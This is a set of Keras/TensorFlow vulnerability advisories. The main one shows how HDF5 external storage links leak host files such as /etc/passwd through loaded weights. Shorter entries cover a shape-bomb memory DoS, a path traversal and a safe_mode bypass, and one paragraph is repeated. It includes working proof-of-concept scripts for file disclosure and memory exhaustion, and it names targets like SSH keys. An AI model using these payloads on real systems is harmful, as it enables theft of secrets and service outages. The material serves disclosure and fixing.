Summary

TensorFlow / Keras continues to honor HDF5 “external storage” and ExternalLink features when loading weights. A malicious .weights.h5 (or a .keras archive embedding such weights) can direct loadweights() to read from an arbitrary readable filesystem path. The bytes pulled from that path populate model tensors and become observable through inference or subsequent re-save operations. Keras “safe mode” only guards object deserialization and does not cover weight I/O, so this behaviour persists even with safe mode enabled. The issue is confirmed on the latest publicly released stack (tensorflow 2.20.0, keras 3.11.3, h5py 3.15.1, numpy 2.3.4).

Impact

- Class: CWE-200 (Exposure of Sensitive Information), CWE-73 (External Control of File Name or Path) - What leaks: Contents of any readable file on the host (e.g., /etc/hosts, /etc/passwd, /etc/hostname). - Visibility: Secrets appear in model outputs (e.g., Dense layer bias) or get embedded into newly saved artifacts. - Prerequisites: Victim executes model.loadweights() or tf.keras.models.loadmodel() on an attacker-supplied HDF5 weights file or .keras archive. - Scope: Applies to modern Keras (3.x) and TensorFlow 2.x lines; legacy HDF5 paths remain susceptible.

Attacker Scenario

1. Initial foothold: The attacker convinces a user (or CI automation) to consume a weight artifact—perhaps by publishing a pre-trained model, contributing to an open-source repository, or attaching weights to a bug report. 2. Crafted payload: The artifact bundles innocuous model metadata but rewrites one or more datasets to use HDF5 external storage or external links pointing at sensitive files on the victim host (e.g., /home/<user>/.ssh/idrsa, /etc/shadow if readable, configuration files containing API keys, etc.). 3. Execution: The victim calls model.loadweights() (or tf.keras.models.loadmodel() for .keras archives). HDF5 follows the external references, opens the targeted host file, and streams its bytes into the model tensors. 4. Exfiltration vectors: - Running inference on controlled inputs (e.g., zero vectors) yields outputs equal to the injected weights; the attacker or downstream consumer can read the leaked data. - Re-saving the model (weights or .keras archive) persists the secret into a new artifact, which may later be shared publicly or uploaded to a model registry. - If the victim pushes the re-saved artifact to source control or a package repository, the attacker retrieves the captured data without needing continued access to the victim environment.

Additional Preconditions

- The target file must exist and be readable by the process running TensorFlow/Keras. - Safe mode (loadmodel(..., safemode=True)) does not mitigate the issue because the attack path is weight loading rather than object/lambda deserialization. - Environments with strict filesystem permissioning or sandboxing (e.g., container runtime blocking access to /etc/hostname) can reduce impact, but common defaults expose a broad set of host files.

Environment Used for Verification (2025‑10‑19)

- OS: Debian-based container running Python 3.11. - Packages (installed via python -m pip install -U ...): - tensorflow==2.20.0 - keras==3.11.3 - h5py==3.15.1 - numpy==2.3.4 - Tooling: strace (for syscall tracing), pip upgraded to latest before installs. - Debug flags: PYTHONFAULTHANDLER=1, TFCPPMINLOGLEVEL=0 during instrumentation to capture verbose logs if needed.

Reproduction Instructions (Weights-Only PoC)

1. Ensure the environment above (or equivalent) is prepared. 2. Save the following script as weightsexternaldemo.py:

python from future import annotations import os from pathlib import Path import numpy as np import tensorflow as tf import h5py

def choosehostfile() -> Path: candidates = [ os.environ.get("KFLIPATH"), "/etc/machine-id", "/etc/hostname", "/proc/sys/kernel/hostname", "/etc/passwd", ] for candidate in candidates: if not candidate: continue path = Path(candidate) if path.exists() and path.isfile(): return path raise FileNotFoundError("set KFLIPATH to a readable file")

def buildmodel(units: int) -> tf.keras.Model: model = tf.keras.Sequential([ tf.keras.layers.Input(shape=(1,), name="input"), tf.keras.layers.Dense(units, activation=None, usebias=True, name="dense"), ]) model(tf.zeros((1, 1))) # build weights return model

def findbiasdataset(h5file: h5py.File) -> str: matches: list[str] = [] def visit(name: str, obj) -> None: if isinstance(obj, h5py.Dataset) and name.endswith("bias:0"): matches.append(name) h5file.visititems(visit) if not matches: raise RuntimeError("bias dataset not found") return matches[0]

def rewritebiasexternal(path: Path, hostfile: Path) -> tuple[int, int]: with h5py.File(path, "r+") as h5file: biaspath = findbiasdataset(h5file) parent = h5file[str(Path(biaspath).parent)] dsetname = Path(biaspath).name del parent[dsetname] maxbytes = 128 size = hostfile.stat().stsize nbytes = min(size, maxbytes) nbytes = (nbytes // 4) 4 or 32 # multiple of 4 for float32 packing units = max(1, nbytes // 4) parent.createdataset( dsetname, shape=(units,), dtype="float32", external=[(hostfile.asposix(), 0, nbytes)], ) return units, nbytes

def floatstoascii(arr: np.ndarray) -> tuple[str, str]: raw = np.ascontiguousarray(arr).view(np.uint8) asciipreview = bytes(b if 32 <= b < 127 else 46 for b in raw).decode("ascii", "ignore") hexpreview = raw[:64].tobytes().hex() return asciipreview, hexpreview

def main() -> None: hostfile = choosehostfile() model = buildmodel(units=32)

weightspath = Path("weightsdemo.h5") model.saveweights(weightspath.asposix())

units, nbytes = rewritebiasexternal(weightspath, hostfile) print("secrettextsource", hostfile) print("units", units, "bytesmapped", nbytes)

model.loadweights(weightspath.asposix()) output = model.predict(tf.zeros((1, 1)), verbose=0)[0] asciipreview, hexpreview = floatstoascii(output) print("recoveredascii", asciipreview) print("recoveredhex64", hexpreview)

saved = Path("weightsdemoresaved.h5") model.saveweights(saved.asposix()) print("resavedweights", saved.asposix())

if name == "main": main()

3. Execute python weightsexternaldemo.py. 4. Observe: - secrettextsource prints the chosen host file path. - recoveredascii/recoveredhex64 display the file contents recovered via model inference. - A re-saved weights file contains the leaked bytes inside the artifact.

Expanded Validation (Multiple Attack Scenarios)

The following test harness generalises the attack for multiple HDF5 constructs:

- Build a minimal feed-forward model and baseline weights. - Create three malicious variants: 1. External storage dataset: dataset references /etc/hosts. 2. External link: ExternalLink pointing at /etc/passwd. 3. Indirect link: external storage referencing a helper HDF5 that, in turn, refers to /etc/hostname. - Run each scenario under strace -f -e trace=open,openat,read while calling model.loadweights(...). - Post-process traces and weight tensors to show the exact bytes loaded.

Relevant syscall excerpts captured during the run:

openat(ATFDCWD, "/etc/hosts", ORDONLY|OCLOEXEC) = 7 read(7, "127.0.0.1 localhost\n", 64) = 21 ... openat(ATFDCWD, "/etc/passwd", ORDONLY|OCLOEXEC) = 9 read(9, "root:x:0:0:root:/root:/bin/bash\n", 64) = 32 ... openat(ATFDCWD, "/etc/hostname", ORDONLY|OCLOEXEC) = 8 read(8, "example-host\n", 64) = 13

The corresponding model weight bytes (converted to ASCII) mirrored these file contents, confirming successful exfiltration in every case.

Recommended Product Fix

1. Default-deny external datasets/links: - Inspect creation property lists (getexternalcount) before materialising tensors. - Resolve SoftLink / ExternalLink targets and block if they leave the HDF5 file. 2. Provide an escape hatch: - Offer an explicit allowexternaldata=True flag or environment variable for advanced users who truly rely on HDF5 external storage. 3. Documentation: - Update security guidance and API docs to clarify that weight loading bypasses safe mode and that external HDF5 references are rejected by default. 4. Regression coverage: - Add automated tests mirroring the scenarios above to ensure future refactors do not reintroduce the issue.

Workarounds

- Avoid loading untrusted HDF5 weight files. - Pre-scan weight files using h5py to detect external datasets or links before invoking Keras loaders. - Prefer alternate formats (e.g., NumPy .npz) that lack external reference capabilities when exchanging weights. - If isolation is unavoidable, run the load inside a sandboxed environment with limited filesystem access.

Timeline (UTC)

- 2025‑10‑18: Initial proof against TensorFlow 2.12.0 confirmed local file disclosure. - 2025‑10‑19: Re-validated on TensorFlow 2.20.0 / Keras 3.11.3 with syscall tracing; produced weight artifacts and JSON summaries for each malicious scenario; implemented safekerashdf5.py prototype guard.

A vulnerability in the TFSMLayer class of the keras package, version 3.13.0, allows attacker-controlled TensorFlow SavedModels to be loaded during deserialization of .keras models, even when safemode=True. This bypasses the security guarantees of safemode and enables arbitrary attacker-controlled code execution during model inference under the victim's privileges. The issue arises due to the unconditional loading of external SavedModels, serialization of attacker-controlled file paths, and the lack of validation in the fromconfig() method.

Summary Keras’s model loader (KerasFileEditor) unsafely loads user-supplied .keras model files containing HDF5-based weight files without performing any validation on HDF5 dataset metadata. An attacker can craft a .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape (e.g. (50000000, 50000000)), but stores only a few bytes. The .keras file remains small (100–400 KB) because HDF5 with gzip compression stores minimal data. During model loading, Keras executes: python result[key] = value[()] # loads entire dataset into memory value[()] instructs h5py to allocate RAM proportional to the dataset’s declared shape – in this case 8.88 PiB of memory. This results in: Immediate memory exhaustion Python / TensorFlow crashes Jupyter kernel kill System instability Full Denial of Service on any workload that processes untrusted .keras models This allows an attacker to crash any environment or pipeline that loads .keras models, including MLOps backends, training services, model upload endpoints, or automated pipelines. Proof of Concept // PoC.py import zipfile import io import h5py import numpy as np from keras.saving import KerasFileEditor

Create a malicious .keras model containing a massive HDF5 shape bomb def createmaliciouskeras(path="bomb.keras"): hdf5bytes = io.BytesIO()

# Create an HDF5 file with a huge declared dataset shape with h5py.File(hdf5bytes, "w") as f: d = f.createdataset( "payload", shape=(50000000, 50000000), # Extremely large shape → petabytes on load dtype="float32", compression="gzip", compressionopts=9 ) # Write minimal data so the file stays very small d[0:1, 0:1] = np.zeros((1, 1), dtype=np.float32)

hdf5bytes.seek(0)

# Build a valid .keras archive structure with zipfile.ZipFile(path, "w", zipfile.ZIPDEFLATED) as z: z.writestr("config.json", "{}") z.writestr("metadata.json", "{}") z.writestr("model.weights.h5", hdf5bytes.getvalue())

Generate the malicious model file createmaliciouskeras()

Trigger the DoS vulnerability when Keras loads the malicious file KerasFileEditor("bomb.keras") Expected Result numpy.core.exceptions.ArrayMemoryError: Unable to allocate 8.88 PiB for an array with shape (50000000, 50000000) This crash occurs before any actual model processing, confirming the Denial-of-Service impact. Impact This vulnerability allows an attacker to crash any system that loads a malicious .keras model file.

The attacker can:

- Cause immediate memory exhaustion (8+ PiB allocation attempts) - Crash TensorFlow / Python interpreter - Kill Jupyter kernels - Break automated model-upload pipelines - Crash MLOps servers that process user models - Deny service to shared GPU/CPU environments

If a platform allows user-uploaded Keras models (training services, inference endpoints, AutoML tools, Kaggle-style platforms), this becomes a Remote Denial of Service vector. Additional PoC Evidence (Video Demonstration) Attached is a real-world proof-of-concept video demonstrating the crash and memory exhaustion when loading the malicious .keras model.

PoC Video (Google Drive): PoC Video

Finding: Critical memory-exhaustion flaw triggered by crafted .keras model files Vector: Malicious metadata causing extreme tensor shape inflation Impact: A 31 KB model forces an 8.88 PiB allocation attempt, immediately killing the process Attack Scenario: Remote DoS on ML model processing pipelines and cloud inference services

Demonstration: The PoC video shows the crash occurring on Google Colab. Loading the malicious model consumed all system RAM and repeatedly terminated the runtime. Severity is high enough that the compute quota dropped from 83 hours → 4 hours after only a few tests. With larger payloads, this would instantly exhaust resources in real production pipelines.

A path traversal vulnerability exists in keras-team/keras version 3.14.0, specifically in the DiskIOStore.make method within the Keras 3 model saving and loading library. This vulnerability arises from the improper handling of user-provided layer names, which are used to construct directory paths without sanitizing for parent directory components (..). While forward slashes (/) are restricted in layer names, directory traversal sequences are not. This allows an attacker to craft a malicious Keras model that, when saved or loaded, can escape the intended temporary working directory and perform unauthorized file system operations, such as creating directories or writing files in arbitrary locations.

A vulnerability in the TFSMLayer class of the keras package, version 3.13.0, allows attacker-controlled TensorFlow SavedModels to be loaded during deserialization of .keras models, even when safemode=True. This bypasses the security guarantees of safemode and enables arbitrary attacker-controlled code execution during model inference under the victim's privileges. The issue arises due to the unconditional loading of external SavedModels, serialization of attacker-controlled file paths, and the lack of validation in the fromconfig() method.

Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.